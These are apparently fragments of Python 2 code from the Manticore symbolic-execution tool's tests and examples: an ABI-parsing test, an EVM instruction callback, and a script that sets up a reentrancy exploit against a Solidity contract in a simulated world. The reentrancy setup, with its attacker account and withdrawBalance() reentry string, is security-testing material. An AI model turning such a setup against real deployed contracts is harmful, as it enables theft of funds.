def test_function_type(self): # setup ABI for function with one function param func_name = 'func' spec = func_name + '(function)' func_id = ABI.make_function_id(spec) # build bytes24 data for function value (address+selector) # calls member id lookup on 'Ethereum Foundation Tip Box' (see https://www.ethereum.org/donate) address = ''.join( ABI.serialize_uint(0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359, 20)) selector = ABI.make_function_id('memberId(address)') function_ref_data = address + selector # build tx call data call_data = ''.join([func_id, function_ref_data, '\0' * 8]) name, args = ABI.parse(spec, call_data) self.assertEqual(name, func_name) self.assertEqual(args, (function_ref_data, ))
def will_decode_instruction_callback(self, state, pc): TRUE = bytearray((0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1)) FALSE = bytearray((0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) #print pc, state.platform.current_vm.instruction #Once this address is reached the challenge is won if pc == 0x4141414141414141414141414141414141414141: func_id = to_constant(state.platform.current_transaction.data[:4]) if func_id == ABI.make_function_id("print(string)"): func_name, args = ABI.parse("print(string)", state.platform.current_transaction.data) raise Return() elif func_id == ABI.make_function_id("terminate(string)"): func_name, args = ABI.parse("terminate(string)", state.platform.current_transaction.data) self.manticore.shutdown() raise Return(TRUE) elif func_id == ABI.make_function_id("assume(bool)"): func_name, args = ABI.parse("assume(bool)", state.platform.current_transaction.data) state.add(args[0]) raise Return(TRUE) elif func_id == ABI.make_function_id("is_symbolic(bytes)"): func_name, args = ABI.parse("is_symbolic(bytes)", state.platform.current_transaction.data) try: arg = to_constant(args[0]) except: raise Return(TRUE) raise Return(FALSE) elif func_id == ABI.make_function_id("is_symbolic(uint256)"): func_name, args = ABI.parse("is_symbolic(uint256)", state.platform.current_transaction.data) try: arg = to_constant(args[0]) except Exception,e: raise Return(TRUE) raise Return(FALSE) elif func_id == ABI.make_function_id("shutdown(string)"): func_name, args = ABI.parse("shutdown(string)", state.platform.current_transaction.data) print "Shutdown", to_constant(args[0]) self.manticore.shutdown() elif func_id == ABI.make_function_id("can_be_true(bool)"): func_name, args = ABI.parse("can_be_true(bool)", state.platform.current_transaction.data) result = solver.can_be_true(state.constraints, args[0] != 0) if result: raise Return(TRUE) raise Return(FALSE) raise Stop()
#Initialize user and contracts user_account = m.create_account(balance=100000000000000000) attacker_account = m.create_account(balance=100000000000000000) contract_account = m.solidity_create_contract(contract_source_code, owner=user_account) #Not payable m.world.set_balance(contract_account, 1000000000000000000) #give it some ether exploit_account = m.solidity_create_contract(exploit_source_code, owner=attacker_account) print "[+] Setup the exploit" exploit_account.set_vulnerable_contract(contract_account) exploit_account.set_reentry_reps(2) print "[+] Setting attack string" #'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10', reentry_string = ABI.make_function_id('withdrawBalance()') exploit_account.set_reentry_attack_string(reentry_string) print "[+] Initial world state" print " attacker_account %x balance: %d"% (attacker_account, m.get_balance(attacker_account)) print " exploit_account %x balance: %d"% (exploit_account, m.get_balance(exploit_account)) print " user_account %x balance: %d"% (user_account, m.get_balance(user_account)) print " contract_account %x balance: %d"% (contract_account, m.get_balance(contract_account)) #User deposits all in contract print "[+] user deposited some." contract_account.addToBalance(value=100000000000000000) print "[+] Let attacker deposit some small amount using exploit"